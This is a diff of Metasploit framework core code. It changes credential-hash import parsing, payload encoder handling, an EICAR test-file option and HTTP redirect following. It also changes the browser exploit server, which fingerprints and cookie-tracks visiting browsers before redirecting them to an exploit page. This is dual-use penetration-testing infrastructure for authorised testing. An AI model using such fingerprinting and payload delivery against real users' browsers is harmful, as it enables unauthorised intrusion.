@import_filedata[:zip_entry_names] = data.entries.map {|x| x.name} - begin - @import_filedata[:zip_xml] = @import_filedata[:zip_entry_names].grep(/^(.*)_[0-9]+\.xml$/).first || raise - @import_filedata[:zip_wspace] = @import_filedata[:zip_xml].to_s.match(/^(.*)_[0-9]+\.xml$/)[1] - @import_filedata[:type] = "Metasploit ZIP Report" - return :msf_zip - rescue ::Interrupt - raise $! - rescue ::Exception - raise DBImportError.new("The zip file provided is not a Metasploit ZIP report") + + xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/) + + # TODO This check for our zip export should be more extensive + if xml_files.empty? + raise DBImportError.new("The zip file provided is not a Metasploit Zip Export") end + + @import_filedata[:zip_xml] = xml_files.first + @import_filedata[:type] = "Metasploit Zip Export" + + return :msf_zip end if data and data.kind_of? PacketFu::PcapFile @@ -3171,7 +3167,7 @@ class DBManager data = "" ::File.open(filename, 'rb') do |f| data = f.read(f.stat.size) - end + end import_wapiti_xml(args.merge(:data => data)) end @@ -3487,16 +3483,29 @@ class DBManager sname = $6 end when /^[\s]*Warning:/ - next # Discard warning messages. - when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ # SMB Hash + # Discard warning messages. + next + + # SMB Hash + when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ user = ([nil, ""].include?($1)) ? "" : $1 pass = ([nil, ""].include?($2)) ? "" : $2 ptype = "smb_hash" - when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ # SMB Hash + + # SMB Hash + when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ user = ([nil, ""].include?($1)) ? "" : $1 pass = "" ptype = "smb_hash" - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass + + # SMB Hash with cracked plaintext, or just plain old plaintext + when /^[\s]*([^\s:]+):(.+):[A-Fa-f0-9]*:[A-Fa-f0-9]*:::$/ + user = ([nil, ""].include?($1)) ? "" : $1 + pass = ([nil, ""].include?($2)) ? "" : $2 + ptype = "password" + + # Must be a user pass + when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n user = ([nil, ""].include?($1)) ? "" : dehex($1) pass = ([nil, ""].include?($2)) ? "" : dehex($2) ptype = "password" @@ -3611,16 +3620,13 @@ class DBManager end } - data.entries.each do |e| target = ::File.join(@import_filedata[:zip_tmp],e.name) - ::File.unlink target if ::File.exists?(target) # Yep. Deleted. data.extract(e,target) if target =~ /^.*.xml$/ target_data = ::File.open(target, "rb") {|f| f.read 1024} if import_filetype_detect(target_data) == :msf_xml @import_filedata[:zip_extracted_xml] = target - #break end end end @@ -5631,19 +5637,19 @@ class DBManager # Pull out vulnerabilities that have at least one matching # ref -- many "vulns" are not vulns, just audit information. - def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block) + def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,task_id,&block) host.elements.each("VULN_INFO_LIST/VULN_INFO") do |vi| next unless vi.elements["QID"] vi.elements.each("QID") do |qid| next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty? - handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil,nil, args[:task]) + handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil, nil, task_id) end end end # Takes QID numbers and finds the discovered services in # a qualys_asset_xml. - def find_qualys_asset_ports(i,host,wspace,hobj) + def find_qualys_asset_ports(i,host,wspace,hobj,task_id) return unless (i == 82023 || i == 82004) proto = i == 82023 ? 'tcp' : 'udp' qid = host.elements["VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']"] @@ -5656,7 +5662,7 @@ class DBManager else name = match[2].strip end - handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, args[:task]) + handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id) end end end @@ -5700,11 +5706,11 @@ class DBManager end # Report open ports. - find_qualys_asset_ports(82023,host,wspace,hobj) # TCP - find_qualys_asset_ports(82004,host,wspace,hobj) # UDP + find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP + find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP # Report vulns - find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block) + find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block) end # host diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index ad79e6a02b..0a110f3006 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -149,11 +149,11 @@ class Export report_file.puts "Warning: could not read the private key '#{c.pass}'." end end - else "text" + when "text" data.each do |c| user = (c.user.nil? || c.user.empty?) ? "" : Rex::Text.ascii_safe_hex(c.user, true) pass = (c.pass.nil? || c.pass.empty?) ? "" : Rex::Text.ascii_safe_hex(c.pass, true) - report_file.write "%s %s\n" % [user,pass] + report_file.write "%s:%s:::\n" % [user,pass] end end report_file.flush @@ -372,7 +372,7 @@ class Export def extract_module_detail_info(report_file) Mdm::Module::Detail.all.each do |m| report_file.write("\n") - m_id = m.attributes["id"] + #m_id = m.attributes["id"] # Module attributes m.attributes.each_pair do |k,v| diff --git a/lib/msf/core/db_manager/import_msf_xml.rb b/lib/msf/core/db_manager/import_msf_xml.rb index 906ae489da..f3e37b2268 100644 --- a/lib/msf/core/db_manager/import_msf_xml.rb +++ b/lib/msf/core/db_manager/import_msf_xml.rb @@ -364,7 +364,7 @@ module Msf cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) end } - if cred_data[:pass] == "" + if cred_data[:pass] == "*MASKED*" cred_data[:pass] = "" cred_data[:active] = false elsif cred_data[:pass] == "*BLANK PASSWORD*" diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 47d94f0dea..7396ff0aa2 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -125,6 +125,17 @@ class EncodedPayload self.encoder = encmod.new self.encoded = nil + # If the encoding is requested by an exploit check compatibility + # options first of all. For the 'generic/none' encoder compatibility + # options don't apply. + if (reqs['Exploit'] && + !reqs['Exploit'].compatible?(self.encoder) && + encname !~ /generic\/none/) + wlog("#{pinst.refname}: Encoder #{encoder.refname} doesn't match the exploit Compat options", + 'core', LEV_1) + next + end + # If there is an encoder type restriction, check to see if this # encoder matches with what we're searching for. if ((reqs['EncoderType']) and @@ -198,7 +209,7 @@ class EncodedPayload # Check to see if we have enough room for the minimum requirements if ((reqs['Space']) and (reqs['Space'] < eout.length + min)) - wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}", + wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}", 'core', LEV_1) next_encoder = true break @@ -232,6 +243,7 @@ class EncodedPayload # Prefix the prepend encoder value self.encoded = (reqs['PrependEncoder'] || '') + self.encoded + self.encoded << (reqs['AppendEncoder'] || '') end # diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index df8241193e..e5b070d546 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -65,40 +65,48 @@ class Exploit < Msf::Module ## # # The various check codes that can be returned from the ``check'' routine. + # Please read the following wiki to learn how these codes are used: + # https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method # ## module CheckCode # - # Can't tell if the target is exploitable or not. + # Can't tell if the target is exploitable or not. This is recommended if the module fails to + # retrieve enough information from the target machine, such as due to a timeout. # Unknown = [ 'unknown', "Cannot reliably check exploitability."] # - # The target is safe and is therefore not exploitable. + # The target is safe and is therefore not exploitable. This is recommended after the check + # fails to trigger the vulnerability, or even detect the service. # Safe = [ 'safe', "The target is not exploitable." ] # - # The target is running the service in question but may not be - # exploitable. + # The target is running the service in question, but the check fails to determine whether + # the target is vulnerable or not. # Detected = [ 'detected', "The target service is running, but could not be validated." ] # - # The target appears to be vulnerable. + # The target appears to be vulnerable. This is recommended if the vulnerability is determined + # based on passive reconnaissance. For example: version, banner grabbing, or having the resource + # that's known to be vulnerable. # Appears = [ 'appears', "The target appears to be vulnerable." ] # - # The target is vulnerable. + # The target is vulnerable. Only used if the check is able to actually take advantage of the + # bug, and obtain hard evidence. For example: executing a command on the target machine, and + # retrieve the output. # Vulnerable = [ 'vulnerable', "The target is vulnerable." ] # - # The exploit does not support the check method. + # The module does not support the check method. # - Unsupported = [ 'unsupported', "This exploit does not support check." ] + Unsupported = [ 'unsupported', "This module does not support check." ] end # @@ -516,6 +524,7 @@ class Exploit < Msf::Module reqs['PrependEncoder'] = payload_prepend_encoder(explicit_target) reqs['BadChars'] = payload_badchars(explicit_target) reqs['Append'] = payload_append(explicit_target) + reqs['AppendEncoder'] = payload_append_encoder(explicit_target) reqs['MaxNops'] = payload_max_nops(explicit_target) reqs['MinNops'] = payload_min_nops(explicit_target) reqs['Encoder'] = datastore['ENCODER'] @@ -523,6 +532,7 @@ class Exploit < Msf::Module reqs['EncoderType'] = payload_encoder_type(explicit_target) reqs['EncoderOptions'] = payload_encoder_options(explicit_target) reqs['ExtendedOptions'] = payload_extended_options(explicit_target) + reqs['Exploit'] = self # Pass along the encoder don't fall through flag reqs['EncoderDontFallThrough'] = datastore['EncoderDontFallThrough'] @@ -738,7 +748,7 @@ class Exploit < Msf::Module c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch framework.encoders.each_module_ranked( - 'Arch' => c_arch) { |name, mod| + 'Arch' => c_arch, 'Platform' => c_platform) { |name, mod| encoders << [ name, mod ] } @@ -823,6 +833,23 @@ class Exploit < Msf::Module p end + # + # Return any text that should be appended to the encoder of the payload. + # The payload module is passed so that the exploit can take a guess + # at architecture and platform if it's a multi exploit. + # + def payload_append_encoder(explicit_target = nil) + explicit_target ||= target + + if (explicit_target and explicit_target.payload_append_encoder) + p = explicit_target.payload_append_encoder + else + p = payload_info['AppendEncoder'] || '' + end + + p + end + # # Maximum number of nops to use as a hint to the framework. # Nil signifies that the framework should decide. diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index dd9b593152..74b5c88485 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -16,12 +16,14 @@ module Exploit::EXE # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb register_advanced_options( [ + OptBool.new( 'EXE::EICAR', [ false, 'Generate an EICAR file instead of regular payload exe']), OptPath.new( 'EXE::Custom', [ false, 'Use custom exe instead of automatically generating a payload exe']), OptPath.new( 'EXE::Path', [ false, 'The directory in which to look for the executable template' ]), OptPath.new( 'EXE::Template', [ false, 'The executable template file name.' ]), OptBool.new( 'EXE::Inject', [ false, 'Set to preserve the original EXE function' ]), OptBool.new( 'EXE::OldMethod',[ false, 'Set to use the substitution EXE generation method.' ]), OptBool.new( 'EXE::FallBack', [ false, 'Use the default template in case the specified one is missing' ]), + OptBool.new( 'MSI::EICAR', [ false, 'Generate an EICAR file instead of regular payload msi']), OptPath.new( 'MSI::Custom', [ false, 'Use custom msi instead of automatically generating a payload msi']), OptPath.new( 'MSI::Path', [ false, 'The directory in which to look for the msi template' ]), OptPath.new( 'MSI::Template', [ false, 'The msi template file name' ]), @@ -29,6 +31,13 @@ module Exploit::EXE ], self.class) end + # Avoid stating the string directly, don't want to get caught by local + # antivirus! + def get_eicar_exe + obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"] + obfus_eicar.join("-").upcase + end + def get_custom_exe(path=nil) path ||= datastore['EXE::Custom'] print_status("Using custom payload #{path}, RHOST and RPORT settings will be ignored!") @@ -41,6 +50,7 @@ module Exploit::EXE def generate_payload_exe(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -68,6 +78,7 @@ module Exploit::EXE def generate_payload_exe_service(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -90,6 +101,7 @@ module Exploit::EXE def generate_payload_dll(opts = {}) return get_custom_exe if datastore.include? 'EXE::Custom' + return get_eicar_exe if datastore['EXE::EICAR'] exe_init_options(opts) @@ -112,6 +124,7 @@ module Exploit::EXE def generate_payload_msi(opts = {}) return get_custom_exe(datastore['MSI::Custom']) if datastore.include? 'MSI::Custom' + return get_eicar_exe if datastore['MSI::EICAR'] exe = generate_payload_exe(opts) @@ -139,8 +152,10 @@ protected # Prefer the target's platform/architecture information, but use # the module's if no target specific information exists + opts[:platform] ||= payload_instance.platform if self.respond_to? :payload_instance opts[:platform] ||= target_platform if self.respond_to? :target_platform opts[:platform] ||= platform if self.respond_to? :platform + opts[:arch] ||= payload_instance.arch if self.respond_to? :payload_instance opts[:arch] ||= target_arch if self.respond_to? :target_arch opts[:arch] ||= arch if self.respond_to? :arch end diff --git a/lib/msf/core/exploit/ftp.rb b/lib/msf/core/exploit/ftp.rb index 21fe5c5ebf..a1c8cc9589 100644 --- a/lib/msf/core/exploit/ftp.rb +++ b/lib/msf/core/exploit/ftp.rb @@ -43,7 +43,7 @@ module Exploit::Remote::Ftp # # This method establishes an FTP connection to host and port specified by - # the RHOST and RPORT options, respectively. After connecting, the banner + # the 'rhost' and 'rport' methods. After connecting, the banner # message is read in and stored in the 'banner' attribute. # def connect(global = true, verbose = nil) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index d614d35fd3..b32e4fa0c7 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -164,7 +164,7 @@ module Exploit::Remote::HttpClient # Configure the HTTP client with the supplied parameter nclient.set_config( - 'vhost' => self.vhost(), + 'vhost' => opts['vhost'] || opts['rhost'] || self.vhost(), 'agent' => datastore['UserAgent'], 'uri_encode_mode' => datastore['HTTP::uri_encode_mode'], 'uri_full_url' => datastore['HTTP::uri_full_url'], @@ -187,14 +187,14 @@ module Exploit::Remote::HttpClient 'uri_fake_end' => datastore['HTTP::uri_fake_end'], 'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'], 'header_folding' => datastore['HTTP::header_folding'], - 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], - 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], - 'send_lm' => datastore['NTLM::SendLM'], - 'send_ntlm' => datastore['NTLM::SendNTLM'], - 'SendSPN' => datastore['NTLM::SendSPN'], - 'UseLMKey' => datastore['NTLM::UseLMKey'], - 'domain' => datastore['DOMAIN'], - 'DigestAuthIIS' => datastore['DigestAuthIIS'] + 'usentlm2_session' => datastore['NTLM::UseNTLM2_session'], + 'use_ntlmv2' => datastore['NTLM::UseNTLMv2'], + 'send_lm' => datastore['NTLM::SendLM'], + 'send_ntlm' => datastore['NTLM::SendNTLM'], + 'SendSPN' => datastore['NTLM::SendSPN'], + 'UseLMKey' => datastore['NTLM::UseLMKey'], + 'domain' => datastore['DOMAIN'], + 'DigestAuthIIS' => datastore['DigestAuthIIS'] ) # If this connection is global, persist it @@ -268,8 +268,9 @@ module Exploit::Remote::HttpClient end end - # - # Connects to the server, creates a request, sends the request, reads the response + + # Connects to the server, creates a request, sends the request, + # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # @@ -283,6 +284,37 @@ module Exploit::Remote::HttpClient end end + # + # Connects to the server, creates a request, sends the request, reads the response + # if a redirect (HTTP 30x response) is received it will attempt to follow the + # direct and retrieve that URI. + # + # @note The +opts+ will be updated to the updated location and +opts['redirect_uri']+ + # will contain the full URI. + # + def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1) + res = send_request_cgi(opts, timeout) + return res unless res && res.redirect? && redirect_depth > 0 + + redirect_depth -= 1 + location = res.redirection + return res if location.nil? + + opts['redirect_uri'] = location + opts['uri'] = location.path + opts['rhost'] = location.host + opts['vhost'] = location.host + opts['rport'] = location.port + + if location.scheme == 'https' + opts['ssl'] = true + else + opts['ssl'] = false + end + + send_request_cgi!(opts, timeout, redirect_depth) + end + # # Combine the user/pass into an auth string for the HTTP Client # diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 25e2d07d71..66ee1957bc 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -181,7 +181,8 @@ module Exploit::Remote::HttpServer 'MsfExploit' => self, }, opts['Comm'], - datastore['SSLCert'] + datastore['SSLCert'], + datastore['SSLCompression'] ) self.service.server_name = datastore['HTTP::server_name'] @@ -200,6 +201,13 @@ module Exploit::Remote::HttpServer proto = (datastore["SSL"] ? "https" : "http") + # SSLCompression may or may not actually be available. For example, on + # Ubuntu, it's disabled by default, unless the correct environment + # variable is set. See https://github.com/rapid7/metasploit-framework/pull/2666 + if proto == "https" and datastore['SSLCompression'] + print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") + end + print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') @@ -711,6 +719,13 @@ protected Rex::Exploitation::HeapLib.new(custom_js, opts).to_s end + # + # Returns the heaplib2 javascript + # + def js_heaplib2(custom_js = '', opts = {}) + @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) + end + def js_base64 @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 end @@ -746,7 +761,6 @@ protected @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post end - # # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's # suitable for a no-spray technique. There should be an allocation that contains an array of @@ -812,6 +826,14 @@ protected @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray end + def js_explib2 + @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 + end + + def js_explib2_payload(payload="exec") + @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) + end + def js_os_detect @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index d1bd31a508..d8310d238d 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -35,7 +35,10 @@ require 'msf/core/exploit/ip' require 'msf/core/exploit/ipv6' require 'msf/core/exploit/dhcp' require 'msf/core/exploit/ntlm' +require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/smb' +require 'msf/core/exploit/smb/authenticated' +require 'msf/core/exploit/smb/psexec' require 'msf/core/exploit/ftp' require 'msf/core/exploit/tftp' require 'msf/core/exploit/telnet' @@ -43,7 +46,6 @@ require 'msf/core/exploit/ftpserver' require 'msf/core/exploit/http/client' require 'msf/core/exploit/http/server' require 'msf/core/exploit/smtp' -require 'msf/core/exploit/dcerpc' require 'msf/core/exploit/sunrpc' require 'msf/core/exploit/mssql' require 'msf/core/exploit/mssql_commands' @@ -98,7 +100,8 @@ require 'msf/core/exploit/winrm' # WebApp require 'msf/core/exploit/web' -# Firefox addons +# Firefox +require 'msf/core/exploit/remote/firefox_privilege_escalation' require 'msf/core/exploit/remote/firefox_addon_generator' require 'msf/core/exploit/remote/browser_exploit_server' diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 87f4f82ebd..d1782616e1 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -1,6 +1,8 @@ # -*- coding: binary -*- require 'erb' +require 'cgi' +require 'date' require 'rex/exploitation/js' ### @@ -16,6 +18,9 @@ module Msf include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb + # this must be static between runs, otherwise the older cookies will be ignored + DEFAULT_COOKIE_NAME = '__ua' + PROXY_REQUEST_HEADER_SET = Set.new( %w{ CLIENT_IP @@ -37,19 +42,21 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = { - :source => 'source', # Either 'script' or 'headers' - :ua_name => 'ua_name', # Example: MSIE - :ua_ver => 'ua_ver', # Example: 8.0, 9.0 - :os_name => 'os_name', # Example: Microsoft Windows - :os_flavor => 'os_flavor', # Example: XP, 7 - :language => 'language', # Example: en-us - :arch => 'arch', # Example: x86 - :proxy => 'proxy', # 'true' or 'false' - :silverlight => 'silverlight', # 'true' or 'false' - :office => 'office', # Example: "2007", "2010" - :java => 'java', # Example: 1.6, 1.6.0.0 - :clsid => 'clsid', # ActiveX clsid. Also requires the :method key - :method => 'method' # ActiveX method. Also requires the :clsid key + :source => 'source', # Either 'script' or 'headers' + :ua_name => 'ua_name', # Example: MSIE + :ua_ver => 'ua_ver', # Example: 8.0, 9.0 + :os_name => 'os_name', # Example: Microsoft Windows + :os_flavor => 'os_flavor', # Example: XP, 7 + :language => 'language', # Example: en-us + :arch => 'arch', # Example: x86 + :proxy => 'proxy', # 'true' or 'false' + :silverlight => 'silverlight', # 'true' or 'false' + :office => 'office', # Example: "2007", "2010" + :java => 'java', # Example: 1.6, 1.6.0.0 + :clsid => 'clsid', # ActiveX clsid. Also requires the :method key + :method => 'method', # ActiveX method. Also requires the :clsid key + :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535" + :flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) } def initialize(info={}) @@ -72,10 +79,15 @@ module Msf [ OptBool.new('Retries', [false, "Allow the browser to retry the module", true]) ], Exploit::Remote::BrowserExploitServer) + + register_advanced_options([ + OptString.new('CookieName', [false, "The name of the tracking cookie", DEFAULT_COOKIE_NAME]), + OptString.new('CookieExpiration', [false, "Cookie expiration in years (blank=expire on exit)"]) + ], Exploit::Remote::BrowserExploitServer) end # - # Syncs a block of code + # Allows a block of code to access BES resources in a thread-safe fashion # # @param block [Proc] Block of code to sync # @@ -89,7 +101,7 @@ module Msf # @return [String] URI to the exploit page # def get_module_resource - "#{get_resource.chomp("/")}/#{@exploit_receiver_page}" + "#{get_resource.chomp("/")}/#{@exploit_receiver_page}/" end # @@ -175,6 +187,8 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method + vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + if v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v elsif v.is_a? Proc @@ -189,7 +203,7 @@ module Msf # # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie' => + # 'cookie_name' => # { # :os_name => 'Windows', # :os_flavor => 'something' @@ -209,9 +223,12 @@ module Msf # For more info about what the actual value might be for each key, see HttpServer. # # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific method is available from an ActiveX control (IE only) - # 'java' : The Java version + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'java' : The Java version + # 'mshtml_build' : The MSHTML build version + # 'flash' : The Flash version + # 'silverlight' : The Silverlight version # # @param tag [String] Either a cookie or IP + User-Agent # @return [Hash] The profile found. If not found, returns nil @@ -236,13 +253,13 @@ module Msf end # - # Initializes a profile + # Initializes a profile, if it did not previously exist # # @param tag [String] A unique string as a way to ID the profile # def init_profile(tag) sync do - @target_profiles[tag] = {} + @target_profiles[tag] ||= {} end end @@ -254,14 +271,18 @@ module Msf # # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # - def retrieve_tag(request) - tag = request.headers['Cookie'].to_s + def retrieve_tag(cli, request) + cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) + tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ + vprint_status("No cookie received, resorting to headers hash.") ip = cli.peerhost os = request.headers['User-Agent'] tag = Rex::Text.md5("#{ip}#{os}") + else + vprint_status("Received cookie '#{tag}'.") end tag @@ -275,23 +296,18 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # def process_browser_info(source, cli, request) - tag = retrieve_tag(request) - - # Browser doesn't allow cookies. Can't track that, use a different way to track. - init_profile(tag) if request.headers['Cookie'].blank? + tag = retrieve_tag(cli, request) + init_profile(tag) target_info = get_profile(tag) + update_profile(target_info, :source, source.to_s) # Gathering target info from the detection stage case source when :script # Gathers target data from a POST request - update_profile(target_info, :source, 'script') - raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body)) - raw.split('&').each do |item| - k, v = item.scan(/(\w+)=(.*)/).flatten - update_profile(target_info, k.to_sym, v) - end - + parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') + vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.") + parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } when :headers # Gathers target data from headers # This may be less accurate, and most likely less info. @@ -299,7 +315,6 @@ module Msf # Module has all the info it needs, ua_string is kind of pointless. # Kill this to save space. fp.delete(:ua_string) - update_profile(target_info, :source, 'headers') fp.each do |k, v| update_profile(target_info, k.to_sym, v) end @@ -354,6 +369,7 @@ module Msf return Base64.encode(q.join('&')); } + window.onload = function() { var osInfo = window.os_detect.getVersion(); var d = { @@ -363,11 +379,13 @@ module Msf "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion(), - "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight() + "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : window.misc_addons_detect.hasSilverlight(), + "<%=REQUIREMENT_KEY_SET[:flash]%>" : window.misc_addons_detect.getFlashVersion() }; <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion(); + d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString(); <% clsid = @requirements[:clsid] method = @requirements[:method] @@ -378,8 +396,9 @@ module Msf <% end %> var query = objToQuery(d); - postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query); - window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/"; + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query, function(){ + window.location="<%= get_module_resource %>"; + }); } |).result(binding()) @@ -392,11 +411,26 @@ module Msf | end + # @return [String] name of the tracking cookie + def cookie_name + datastore['CookieName'] || DEFAULT_COOKIE_NAME + end + + def cookie_header(tag) + cookie = "#{cookie_name}=#{tag};" + if datastore['CookieExpiration'].present? + expires_date = (DateTime.now + 365*datastore['CookieExpiration'].to_i) + expires_str = expires_date.to_time.strftime("%a, %d %b %Y 12:00:00 GMT") + cookie << " Expires=#{expires};" + end + cookie + end + # # Handles exploit stages. # @@ -409,31 +443,32 @@ module Msf # # This is the information gathering stage # - if get_profile(retrieve_tag(request)) - send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}") + if get_profile(retrieve_tag(cli, request)) + send_redirect(cli, get_module_resource) return end print_status("Gathering target information.") tag = Rex::Text.rand_text_alpha(rand(20) + 5) - ua = request.headers['User-Agent'] + ua = request.headers['User-Agent'] || '' init_profile(tag) - html = get_detection_html(ua) - send_response(cli, html, {'Set-Cookie' => tag}) + print_status("Sending response HTML.") + send_response(cli, get_detection_html(ua), {'Set-Cookie' => cookie_header(tag)}) when /#{@info_receiver_page}/ # # The detection code will hit this if Javascript is enabled # - process_browser_info(source=:script, cli, request) - send_response(cli, '') + vprint_status "Info receiver page called." + process_browser_info(:script, cli, request) + send_response(cli, '', {'Set-Cookie' => cookie_header(tag)}) when /#{@noscript_receiver_page}/ # # The detection code will hit this instead of Javascript is disabled # Should only be triggered by the img src in